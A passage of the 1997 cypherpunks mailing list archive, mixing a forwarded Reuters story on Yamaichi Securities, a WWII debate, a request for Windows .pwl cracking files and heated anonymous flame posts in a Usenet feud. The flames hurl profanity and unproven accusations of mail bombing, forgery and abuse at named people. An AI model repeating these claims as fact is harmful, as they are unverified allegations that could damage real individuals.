> >>        In a much more fundamental sense, if they were not given
> >>constitutional protections they really could be rounded up and bussed
> >>across the border.
> 
(May)
> >And what would be wrong with this?
> 
(Frieden)
>         Not a damned thing. While in this country they are in the act of
> committing a crime.

And who is it that gets to decide what is a "crime" and what is not?  The 
politicos, the bureaucrats, the hoodlums in DC and elsewhere who think 
they have the right to run the lives of everybody else.

Again I ask the question:
What gives the hoodlums in Washington DC the right to draw a line on a 
map and control people's travel across that line?

___________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
__________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 24 Nov 1997 08:54:48 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199711240058.SAA09319@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   Barnes and Noble 
   
   
   
   
   
   
   World banner 4MB upgrade only $49.99 rule
   
               FACING CRISIS, JAPAN'S OLDEST BROKERAGE TO CLOSE
                                       
      graphic November 23, 1997
     Web posted at: 7:06 p.m. EST (0006 GMT)
     
     TOKYO (Reuters) -- Yamaichi Securities Co. Ltd, Japan'soldest
     brokerage, will shut down, a spokesman said Monday,resulting in the
     country's biggest financial failure since World War II.
     
     Financial sources said a last-ditch review at a meeting ofYamaichi's
     board of directors determined it had no chance ofsurviving a credit
     crunch, shrinking business and high-profile scandals.
     
     The board was to hold a news conference later Monday,the spokesman
     said.
     
     Japanese markets were closed on Monday for a national holiday, but
     international stock markets and the yen were expected to be hit by
     the news of the shutdown amid fears of a domino effect across Japan,
     Asia and possibly beyond.
     
   International markets brace for possible fallout
  
     
     
     International markets were braced for fallout from Asia's latest
     economic crisis, the final chapter in a saga of Japanese corporate
     racketeering that has worldwide implications.
     
     The fear that Japan might be the next Asian domino to fallhas kept
     international monetary officials, already dealing with a crisis in
     South Korea, the world's 11th largest economy, and other Asian
     nations, on edge.
     
     "The initial reaction is likely to be selling pressure onthe yen and
     equity markets and a firmer opening for U.S.Treasuries," said Kirit
     Shah, chief market strategist at Sanwa International in London.
     
     Bank of Japan sources told Reuters a special board meetingwould be
     held on Monday morning on whether to extend specialunsecured loans
     to Yamaichi.
     
     The Finance Ministry and central bank contacted overseasauthorities
     to alleviate global concerns, especially in U.S. and European
     markets.
     
   Third brokerage to collapse in past month
  
     
     
     The Yamaichi crisis follows the collapse in the past monthof
     second-tier brokerage Sanyo Securities Co. Ltd. and10th-ranking
     commercial bank Hokkaido Takushoku Bank.
     
     Finger-pointing has already started over what was behind thecollapse
     in its centenary year of a Japanese household name that has a staff
     of 7,500 at home and 33 branches abroad.
     
     Takeo Nishioka, secretary-general of the main opposition NewFrontier
     Party, said Prime Minister Ryutaro Hashimoto's ruling Liberal
     Democratic Party had not acted decisively enough to ensure financial
     stability in Japan.
     
     "The Yamaichi Securities situation has undermined the trustof
     Japanese investors and international financial markets,"Nishioka
     said on national television.
     
   A financial system in need of reform
  
     
     
     The criticism added up to a unanimous view that Japan'sfinancial
     system was in urgent need of reform, deregulation and closer
     supervision -- and there was more bad news to come.
     
     At its core, the liquidity crunch faced by Yamaichi has beendriven
     by concern that creditors cannot pin down just how large the
     brokerage's potential losses could become, analysts said.
     
     "It's a story of lack of sufficient disclosure andsupervision," said
     James Fiorillo, senior banking analyst at ING Barings in Tokyo.
     
     A Finance Ministry official said on Saturday there weresuspicions of
     vast off-balance sheet liabilities exceeding 200 billion yen ($1.58
     billion) from illegal trading practices.
     
     If that is the extent of the problem, one industry source said that
     a "white knight might be found to pick up at least some of the
     pieces.
     
     But there were worries the numbers may be much larger, withpossibly
     1 trillion yen ($7.9 billion) accumulated fromillegal deals since
     the 1980s.
     
     Copyright 1997 Reuters Limited. All rights reserved.
     
   
     _________________________________________________________________
   
   Infoseek search ____________________ ____  ____
   
     _________________________________________________________________
   
   
   rule Message Boards 
   
  Sound off on our message boards
  
   
   
   You said it... [INLINE] 4MB upgrade only $49.99 rule
   To the top 
   
   (c) 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 24 Nov 1997 08:28:57 +0800
To: cypherpunks@toad.com
Subject: Re: Mondex help needed
In-Reply-To: <Pine.BSF.3.96.971124001555.20959A-100000@pakastelohi.cypherpunks.to>
Message-ID: <aRcNge24w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@cypherpunks.to> writes:

> The task would be much easier if I had one or several of the following:
<long list of hacker toys>

Your asshole employer, C2Net, must be on the verge of bankrupcy if they
can't afford to get this shit for you and you have to beg on mailing lists.
Don't you just haye Internet panhanders: "I'm a poor student, please send
me a few dollars..." "I work for c2net, please send me a magnetic stripe
reader..." How pathetic.

When are you having a "going out of business" sale?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Mon, 24 Nov 1997 10:34:04 +0800
To: cypherpunks@cyberpass.net
Subject: executive officers
Message-ID: <Chameleon.880332648.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone recently sent a post ot this list where they mentioned that George 
Bush and Ronald Reagan were former chief executive officers of a 
corporation that sells military equipment.

Can whoever posted this send it to me?

amp

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 11/23/97
Time: 19:43:22
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 24 Nov 1997 12:22:34 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Seeing Both Sides
In-Reply-To: <v03102802b09d6e2dcfcf@[207.167.93.63]>
Message-ID: <v03102809b09e9d9e1a67@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:01 PM -0700 11/23/97, Robert Hettinga wrote:
><Nice to see I'm back out of TCM's killfile. He apparently figured out he
>can run, etc.>

A red herring. I last had Hettinga in my filter file about a year ago,
after his "Watching the MacRubble Bounce" eruption and aftermath. It is
true that I usually just glance at your posts and then hit the D
key....it's tough to extract meaning out of strings of expressions like:

"The ganglia twitch... don't forget to swallow your milk before you read
this....Don't want to blow it all out your nose... Er, thanks. I think.
Makes me sound like an ibogaine-crazed Barbie doll with an AK... :-)....
<BudLightMan> I *Love* you man...</BLM>... Ooops. I am. I do. With e$pam, I
mean. Well -- never mind. Can I, um, backpedal that?... So, boys and
girls,... Ooops. Sorry. Heh... Lost my train of thought... Vinnie saying to
him (YANC), in effect, we need him (YANC) for a proper Laying-On of Hands,
him being a Piece of the True Crypto Cross, and all.... The ganglia, um,
twitch... Thanks to the e$ e$lves... (at 360lbs soaking wet, *I* should
talk...)... Now, where *is* that "kick me" sign... Ding! You rang? Welcome
to Random Acts of Kindness, Inc. Our motto: "You never know when we're
going to make your day!"..."

(These are just a few of the Bobisms out of my "H-Files."

This weird mix of "Alice's Restaurant" and "Fear and Loathing on the Road
to Las Vegas" styles is incomprehensible to me. Maybe it makes sense to
Bob's intended audience...maybe to Guy Kawasaki and other such hucksters.

What nuggets of truth Bob uncovers are usually buried in mountains of
florid rhetoric. More than anything, he needs to get back on his Ritalin,
or whatever he takes for his ADD, and


>Finally, as far as code is concerned -- or even *talking* about
>cryptographic technology and what it can do anymore -- the irony of what
>*you* do all day, Tim, versus what Vinnie does, is of course, rather
>immense.

Yet another claim that I am not doing enough for the Cause, or at least
that Bob's friend Vinnie is doing ever so much more. (Knowing Vinnie,
however slightly, I imagine he must find this hero worship by Bob a bit
unseemly.)


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Mon, 24 Nov 1997 04:35:44 +0800
To: mail2news@myriad.alias.net
Subject: Belinda Bryan's Defense of Gary "Sadaam" Burnore (was: Re: Keman the K
In-Reply-To: <347d10bb.32754853@news.mindspring.com>
Message-ID: <19971123202000.14607.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



eridani+spam@netcom.com (Belinda Bryan) wrote:
       ^^^^^

> X-No-Archive: yes

Clever.  You and Gary demand "proof" of what you've said in the past, then you
attempt to conceal the very evidence you're demanding like this.  It figures.
Nothing like this, coupled with repeated false claims of "forgery", to give 
your posts a little "plausible deniability", is there?

> Organization: Boycott E-Scrub Technologies. The owner is an admitted spambaiter.

Your obsessive disinformation campaign continues, I see...

[...]

> >>On Fri, 21 Nov 1997 22:54:33 GMT, eguy@mindspring.com (Eric Guy) wrote:
> >>The account is closed.  Find something ELSE to be obsessed about.
> >                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >
> >Take your own fucking advice. Get off Ron Guilmette's back.
> > You posted his ten year old tax lien.
>  
> Public information.  Just like all those "public" email addresses rfg
  ^^^^^^^^^^^^^^^^^^
> posted of users of ISPS who didn't meet his standards.  Tit for tat.

Well, if posting public information is OK, then why the hate campaign against 
Ron Guilmette and his business for (allegedly) doing like you and Gary did?

Actually, either you're lying now about the reason that Gary posted the info
back in February, or Gary was lying back then when he said: "What say each 
time you slam DataBasix for no reason, we post some publicly available 
information about monkeys.com.  HEre's the first try" and "More where this 
came from. Yu wanna keep slamming DataBasix for no good reason?". [1]  That 
sounds like an attempt at censorship through intimidation to me.  After you 
pull stunts like that is it any wonder that people post their opinions 
anonymously?  The more you attack anonymous remailers and their users, the
more people will see the benefit of utilizing them.

> Life's a bitch that way, ain't it? 
           ^^^^^

No, LIFE isn't, but, OTOH ...

> > You mail bombed him and tried syn flooding without success.
>  
> THAT'S A VICIOUS LIE.  POST THE GODDAMN PROOF OR SHUT THE FUCK UP.

Now I'm beginning to see why you weren't able to convince Jeff Burchell that
you were a "lawyer" for DataBasix when you tried the Scientology-esque stunt
of demanding that he turn all of his (non-existent) user logs over to
DataBasix to use in their witch hunt against the users of his remailer. [2] 
Going on a tantrum like that in a courtroom would get you jailed for 
contempt of court.

I see you haven't changed your typical DataBasix tactics of demanding proof
from others, but never bothering to offer any for your own accusations.  Like
the accusations that Ron Guilmette "spam baited" addresses at databasix.com.
(The only thing you've posted that even looked like evidence was some idle
talk about netcom.com addresses.)  Or how about that claim that Mr. Guilmette
supposedly "abused" an unnamed "teenage girl" at DataBasix?
 
> > These days you looking for more blood. Find someone else to be obsessed
> > about. Asshole. 
>  
> Jesus, cretins like you give *responsible* people posting anonymously a
> bad name.  As do those such as the delta sub-moron who forged my
> former [1] email address in the Reply to: line of an obscene Usenet
> post.

As far as giving anonymous posters a bad name, since when have you EVER
had anything decent or civil to say about those who don't believe that 
setting one's self up for abuse should be the price of free speech?  Calling
anonymous posters "anon assholes" only betrays your pernicious bigotry and
hatred of those who dare to speak their minds without subjecting themselves
to the revenge that seems to (coincidentally?) befall those who dare to
criticize the almighty Sadaam Burnore.

As far as "delta sub-morons" engaging in "forgery" (assuming they aren't your
fellow "delta sub-morons" on the DataBasix gang) what about all the crude
attempts at forgery involving the e-mail addresses of those who've dared to
publicly disagree with Gary Burnore and his DataBasix wrecking crew?  What
about the letters in various MMF and MLM NGs saying "I have a lot of money
to invest, please send me information on how I can get rich quick" and
purportedly signed by these folks?  I must have missed your vehement
protests about that.
 
> You aren't worth the bother anymore.
>  
> *PLONK*

Did anyone force you to post THIS tantrum?  Don't let the door strike your 
posterior on the way out.
 
> [1] former because I had to close the account when it become completely
> unusable, thanks to some anonymous cretin who (a) used the address as
> spambait several *thousand* times and (b) subscribed me to every
> freaking html-ized newsletter in existence.

Once again, you post accusations without proof.  (Maybe I ought to do my
DataBasix impression of you and Sadaam Burnore stomping your feet and 
chanting in unison, "Not a shred of evidence! Not a shred of evidence!")
You can only say "I didn't do it, nobody saw me doing it, and you can't
prove a thing" so often.

Your post no evidence that such alleged abuse even occurred, nor that, *IF* it
did occur, it was perpetrated by someone other than you or one of your fellow 
abusers at DataBasix, perhaps as a pretext to get a remailer shut down.  If by 
your "former e-mail address" you're referring to an account at DataBasix.com,
could the real reason be that Gary is so technically inept that he has been
unable to get the databasix.com domain up and running after his hasty exodus
from California to North Carolina?  At least that's been his alibi -- "I
couldn't have posted any spam bait - databasix.com is still down".
 
Your whining is so hypocritical, anyway.  Where were those protests when your
fellow staffer at DataBasix, William J. McClatchie (aka "Wotan"), was busy
making THOUSANDS of e-mail addresses useless when he went on his successful
campaign to get the Mailmasher server shut down?  (Remember the bogus 
"forgery" charges and the pitiful "evidence" that was posted?)

> P.S.  Fix your goddamn line wrap.

Why?  You claim to have "plonked" him/her....

Why not just fix your newsreader?

--
Since Belinda likes to footnote her posts:

[1] http://calvo.teleco.ulpgc.es/listas/cypherpunks-unedited@toad.com/HTML-1997-11/msg00529.html
[2] http://infinity.nus.sg/cypherpunks/dir.archive-97.11.13-97.11.19/0432.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Mon, 24 Nov 1997 04:34:24 +0800
To: cypherpunks@toad.com
Subject: Russ Alberry/CAUCE vs. the Cypherpunks (was: Re: RESULT: comp.org.cauc
In-Reply-To: <64pmr8$b4j@smash.gatech.edu>
Message-ID: <19971123202001.27996.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



mindspring.com> <slrn676p9b.728.ichudov@manifold.algebra.com> <m3hg981owi.fsf@w

Russ Allbery <rra@stanford.edu> wrote:

> * I am specifically pissed at Igor about trolling for votes on random
                                           ^^^^^^^^^^^^^^^^^^
>   newsgroups and on Cypherpunks.  I am not pissed at him for disliking
                      ^^^^^^^^^^^
>   the moderation policy; he's entirely entitled to dislike the moderation
>   policy and vote accordingly.
>   
> * If he keeps trolling for votes on Cypherpunks to defeat random
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>   moderated group proposals he doesn't happen to like for one reason or
>   another, I'll keep doing what I can to counter his propaganda campaigns
>   (and judging from this result, I think it's fairly obvious that he'll
>   continue losing and may in fact help a few groups *pass* that wouldn't
>   have otherwise just by being as annoying as he was this time).

In what sense are you using the word "trolling"?  Are you saying that the
mention of a proposal to ban anonymity is considered "trolling" when posted
amongst a group of pro-privacy, pro-anonymity individuals such as the
Cypherpunks?  Or are you objecting, in general, to the mention of a proposal
to ANY group that's not likely to favor it?

Why should a proposal to require the disclosure of a poster's e-mail address
(and its contribution to the address harvesters) as a pre-requisite to 
express an opinion not itself be fully disclosed and discussed?  Were you
counting on slipping that rule through unnoticed?

Why is publicly disagreeing with you considered a "propaganda campaign"?
Why should the C.A.U.C.E. brand of propaganda be the only variety allowed?

When I first heard of the C.A.U.C.E., my initial thought was that it was a 
good idea.  Finally a means to fight back against the spammers.  Now I'm 
starting  to wonder what sort of agenda is driving some of these illogical
anti-privacy requirements.  As bad as spam and UCE has become, one does have 
to make sure that each proposed cure isn't worse than the disease itself.  
For example, you *COULD* remedy the problem of criminals carrying concealed 
weapons by requiring everyone to walk the streets naked...

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Devin Akin" <Devin-Akin@usa.net>
Date: Mon, 24 Nov 1997 09:54:05 +0800
To: <cypherpunks@toad.com>
Subject: No Subject
Message-ID: <01bcf878$b0ab1fa0$26d9f5ce@devin>
MIME-Version: 1.0
Content-Type: text/plain





Dear Sir,
 
I would like to request a copy of the crack 
files for Windows 95 and WFW "pwl" files if you have them.  I am 
a network engineer and I'm doing some small-time network security for a couple 
of clients.  I would like to show them just how vulnerable their network is 
to even the simplest of file utilities.  Thanks in advance for any help you 
might provide.
 
<A 
href="mailto:Devin-Akin@usa.net">Devin-Akin@usa.net
MCNE, MCSE


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Mon, 24 Nov 1997 04:50:33 +0800
To: mail2news@myriad.alias.net
Subject: Another Anti-Privacy Bigot Heard From (was: The Guilmette/Burnore deba
In-Reply-To: <slrn67eevb.fjb.sjsobol@devel.nacs.net>
Message-ID: <19971123204001.21381.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



sjsobol@devel.nacs.net (Steve Sobol) wrote:

> So my challenge to the people posting anonymously is to either go away, or
> find some balls and post non-anonymously. I know this won't happen, as much
> of the stuff being said is rather libelous and can get the poster into a lot
> of legal trouble, but hey, if any of the cowards involved would *like* to
> reveal themselves...

If you'd like to expose ... er, I mean "reveal" yourself, be my guest. <g>

But knock off the bigotry -- anonymous posters are not going to be relegated
to the back of the bus just because some control freak is annoyed by hearing 
things with which he disagrees posted by people that he can't identify.  
You're merely chanting the same line we've all heard over and over -- 
"unless you have something to hide, you won't mind my snooping and meddling 
in every aspect of your life".

Threats of "a lot of legal trouble" for speaking one's mind are nothing new.  
But the tort of libel requires that the information be FALSE.  There's a 
difference between something being libellously false and merely being 
embarassingly true.  And, of course, the burden of proof is on the person 
making the charge.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Mon, 24 Nov 1997 04:55:02 +0800
To: mail2news@myriad.alias.net
Subject: Re: Sadaam Burnore Strikes Again (was: Re: Keman the Klueless Strikes
In-Reply-To: <347d10bb.32754853@news.mindspring.com>
Message-ID: <19971123204001.2705.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



gburnore+spam@netcom.com (Gary L. Burnore) wrote:
        ^^^^^
        
No thanks, Gary.  I'll avoid your added spam.

> X-No-Archive: yes

Cute, Gary.  Hide the evidence, then challenge people later on to produce it.
 
> : Gary L. Burnore <gburnore@netcom.com> wrote:
> :    
> : > X-Rfg-Is-An-Asshole: yes
> :  
> : What follows ought to be really objective, right?
> :  
> : > : >The account is closed.  Find something ELSE to be obsessed about.
> : > :                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> : > 
> : > : Take your own fucking advice. Get off Ron Guilmette's back.
> : > 
> : > Why?
> : >
> : > : You posted his ten year old tax lien.
> : >
> : > Yup, that's right. Just as he said: It's public information, already
> : > available to the public so it's Ok to post (Referring to email addresses
> : > of NETCOM customers.  Ron Guilmette's own words.
> :
> : OK, so you both posted "public information", but you're justified for doing
> : so, but Ron was not?  Aren't you the hypocrite who was spouting off about
> : "two wrongs don't make a right"?
> :
> : So if he was right for what he (supposedly) did, what's your problem?  Why
> : the ongoing vendetta?  And if he was wrong, then you were, too!
> :
> : > : You mail bombed him and tried syn flooding without success.
> : >
> : > Of course you have no _EVIDENCE_ of any of this. From where did i syn
> : > flood? From where did I mailbomb?
> : >
> : > If I did these terrible things and you err... ron, have proof, why not
> : > show that to my provider.  Again, which provider? When and where am I
> : > supposed to have done this from? WHERES THE EVIDENCE?
> :
> : And where's the evidence for all of the fanciful charges you've made
> : against Ron?  Where's the proof, for example, that he "abused" an alleged,
> : unnamed, "teenage girl" at DataBasix, as you've charged?
>  
> Where's the proof that I accused him of abusing someone? You have none because
> there is none.

You're so sure that just because you hide all your posts behind that 
"X-No-Archive" header and had DejaNews remove all of your old posts from their 
archives that no one can hold you accountable for the numerous false charges
you've made in the past?  Maybe you can find a job cataloging video tapes of
campaigning fund-raising events for the White House.  Your selective memory
might be put to good use, there.  <g>

Perhaps you've conveniently forgotten about this accusation you posted:

> Subject:      Cowards                                    
> From:         gburnore@netcom.com (Gary L. Burnore)
> Date:         1997/02/18
> Message-ID:   <gburnoreE5rxEF.F3n@netcom.com>
> Sender:       gburnore@netcom22.netcom.com
> Organization: the home office in Wazoo, NE
> Newsgroups:   news.admin.net-abuse.misc
>  
>  
> [ Article crossposted from news.admin.net-abuse.email ]
> [ Author was Gary L. Burnore (gburnore@netcom.com) ]
> [ Posted on Mon, 17 Feb 1997 16:26:02 GMT ]
>  
> So now the cowards in Ronald Francis's corner (I'm outright expecting the
> culprit to be ronald francis himself) have taken to sending email to
> those who have names listed on databasix's web page.  Sending comments to
> a 17 year old that they're going to tell her mother that she's having an
> affair with me.  Telling her mother that I'm molesting her daughter.
> Having all sorts of fun.
>  
>  
> Well OK Ronald Francis.  You win. You were right. It _IS_ ok to send a
> list of names of those who annoy you to UCE sites causing those who annoy
> you grief.  I see it a lot differently now. You were right.  BTW, as soon
> as I find the connection between these posts, those from wazoo.com, those
> from mailmasher.com and YOU ronnie, it'll all be reported to law inforcement.
>    
> -- 
> gburnore@databasix.com                       mailto:gburnore@databasix.com
> ---------------------------------------------------------------------------
>          I spilled spot remover on my dog.  Now I can't find him.
> ---------------------------------------------------------------------------
> Gary L. Burnore                       |  ÝÛ³ºÝ³Þ³ºÝ³ÝÛ³ºÝ³Þ³ºÝ³Ý³Þ³ºÝ³ÝÝÛ³
> DataBasix                             |  ÝÛ³ºÝ³Þ³ºÝ³ÝÛ³ºÝ³Þ³ºÝ³Ý³Þ³ºÝ³ÝÝÛ³
> San Francisco, CA                     |  ÝÛ³ºÝ³Þ³ºÝ³ÝÛ³ºÝ³Þ³ºÝ³Ý³Þ³ºÝ³ÝÝÛ³
>                                       |  ÝÛ³ 3 4 1 4 2  Ý³Þ³ 6 9 0 6 9 ÝÛ³
> http://www.databasix.com              |     Official Proof of Purchase
> ===========================================================================
>    
> --
> gburnore@databasix.com                       mailto:gburnore@databasix.com
> ---------------------------------------------------------------------------
>                                                          <-- Invisable Sig
> ---------------------------------------------------------------------------
> Gary L. Burnore                       |  ÝÛ³ºÝ³Þ³ºÝ³ÝÛ³ºÝ³Þ³ºÝ³Ý³Þ³ºÝ³ÝÝÛ³
> DataBasix                             |  ÝÛ³ºÝ³Þ³ºÝ³ÝÛ³ºÝ³Þ³ºÝ³Ý³Þ³ºÝ³ÝÝÛ³
> San Francisco, CA                     |  ÝÛ³ºÝ³Þ³ºÝ³ÝÛ³ºÝ³Þ³ºÝ³Ý³Þ³ºÝ³ÝÝÛ³
>                                       |  ÝÛ³ 3 4 1 4 2  Ý³Þ³ 6 9 0 6 9 ÝÛ³
> http://www.databasix.com              |     Official Proof of Purchase
> ===========================================================================

In fact, just to really smear Ron, you posted the article twice.  The
second copy was identified as follows:

> Message-ID:   <gburnoreE5rxJ6.FFt@netcom.com>

This allegation was based on a supposed anonymous message to an anonymous
"victim" at DataBasix, and people are supposed to believe that Ron Guilmette
was responsible for it despite that you've posted, to borrow your own words,
"not a shred of evidence".

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 24 Nov 1997 04:01:29 +0800
To: cypherpunks@toad.com
Subject: Boys, 13, charged with E-mail threat to Hillary
Message-ID: <199711231950.UAA11644@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Sunday, November 23, 1997 - 20:40:28 MET

>From the Orange County Register:

	Two 13-year-old boys are charged with 
sending a threatening e-mail message over the 
Internet to Hillary Rodham Clinton.
	Contents of the electronic mail message 
to the first lady haven't been released, but U.S.
 Secret Service agents are expected to outline 
themn during a hearing Monday in Juvenile Court 
in Cordova, Tenn.
	The youngsters, charged with threatening
 and harassing Mrs. Clinton, could face a fine, 
counseling, community service or detention.       





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 24 Nov 1997 11:21:21 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Further costs of war (fwd)
Message-ID: <199711240315.VAA10145@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 23 Nov 1997 17:12:02 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Further costs of war
> 
> At 1:43 PM -0700 11/23/97, Jim Choate wrote:
> ...
> >Any particular methodology you might care to share on stopping WWII?
> >Being an avid amateur historian concerning WWII I am very much interested in
> >any insight you might have.
> 
> Not entering the war.

Do you have a particular method in mind?

> There's ample evidence that the U.S. provoked the
> Japanese in various ways.

Such as?

> (I'm not saying the Japanese were blameless, or
> lily-white, or"nice," etc., only that most historians agree--and Japanese
> archives support--that the Japanese were motivated to attack Pearl Harbor
> in the hope that a devastating first blow would sink enough ships, etc., to
> cause America to back off in its actions in the ironically named Pacific.)

So how does Tojo and his out of control Kwantung Army figure into this? Do
you feel that Japans Co-prosperity Sphere was a benign goal? How do you
consign your position that we provoked Japan with their behaviour in such
situations as Nanking?

> Had the U.S. concentrated on its own affairs, on just trade, it is unlikely
> that what the Japanese were doing in Malaysia, Manchuria, Korea, Indochina,
> and the Phillipines would have had any major interest for us.

The Phillipines at the time were a US protectorate, is your position that we
should have simply turned them over without a fight? Korea was ceeded to
Japan as a result of the 1903 defeat of Russia, how is this relevant to your
position? Let's assume for a moment that the US hadn't gotten involved. The
Japanese would have eventualy gotten to Australia. Once there what would have
kept them from expanding their co-prosperity sphere eastward in order to
better stabalize their resources. When they knocked on Guam or Midway's door
should we have let them go like the Phillipines? How about the Japanese's
eventual expansion into the Allutians? Should we have simply given Alaska to
them as well? Is your position that once they had the western half of the
pacific rim they would have no pretentions on the eastern half? What do you
base this on?

> As for Europe, this was even less our war than the Pacific war.

Really? How so? Is your position that Germany would have benignly left the
US alone once they had defeated Britian (I am assuming of course the US
hadn't shipped resources such as oil and fuel to them)? Had the US not
gotten into the war the resources available to Germany and Japan were such
they could realisticaly have beaten the Russian. One of the reasons that
Russia had the resources to reinforce the eastern front was their ability to
remove troops from the Chinese border based on Richard Sorge's intelligence.

> In a sense, so _what_ if some army from some nation was rolling over other
> armies?

That depends on where they stop their rolling. Is your position that if we
had refused to support conflicts against Japan and Germany all would have
been well? Are you proposing that Germany would not have advanced with their
atomic research? Completed development on their jet-based New York Bomber?

> Those who wanted to liberate the death camps, or to push Hitler back into
> Gerrmany, or to kick the Emperor's butt could, of course, simply go over
> and volunteer. In a free society, mercenaries are legal.

Volunteer to who?

> The last justifiable war the American states were involved in was,
> arguably, the War of 1812. Every war since then has been unjustified.

Justifiable war? How is the invasion of the US by British troops
significantly different than the invasion by German or Japanese troops?


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 24 Nov 1997 14:05:14 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199711240525.VAA15090@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Fellow Kryptophiles,

I submit, for your reading pleasure, this link:

http://guru.cosc.georgetown.edu/~denning/crypto/cases.html

Discuss...

Socraticus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Mon, 24 Nov 1997 12:49:42 +0800
To: 6ualdv8@sk.sympatico.ca
Subject: Re: Russ Alberry/CAUCE vs. the Cypherpunks (was: Re: RESULT: comp.org.cauc
In-Reply-To: <3478A08B.72DE@dev.null>
Message-ID: <199711240434.WAA03995@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



I do not think that your message made it to USENET, TruthMonger.

igor

TruthMonger wrote:
> 
> 
> lcs Mixmaster Remailer wrote:
> > 
> > Russ Allbery <rra@stanford.edu> wrote:
> > 
> > > * I am specifically pissed at Igor about trolling for votes on                                            ^^^^^^^^^^^^^^^^^^
> > >  random newsgroups and on Cypherpunks.
> 
> > In what sense are you using the word "trolling"?  Are you saying that the
> > mention of a proposal to ban anonymity is considered "trolling" when posted
> > amongst a group of pro-privacy, pro-anonymity individuals such as the
> > Cypherpunks? 
> 
>   Sounds like he is only objecting to you discussing issues important
> to you with groups you belong to and groups that you *don't* belong to.
>   Sounds like Chelsea is pushing daddy's fascist agenda at Stanford.
> 
> > Why is publicly disagreeing with you considered a "propaganda campaign"?
> > Why should the C.A.U.C.E. brand of propaganda be the only variety allowed?
> 
>   Because fickless ducks live in fear of individuals who threaten
> their ability to hide under phantom security blankets.
>   
> > When I first heard of the C.A.U.C.E., my initial thought was that it was a
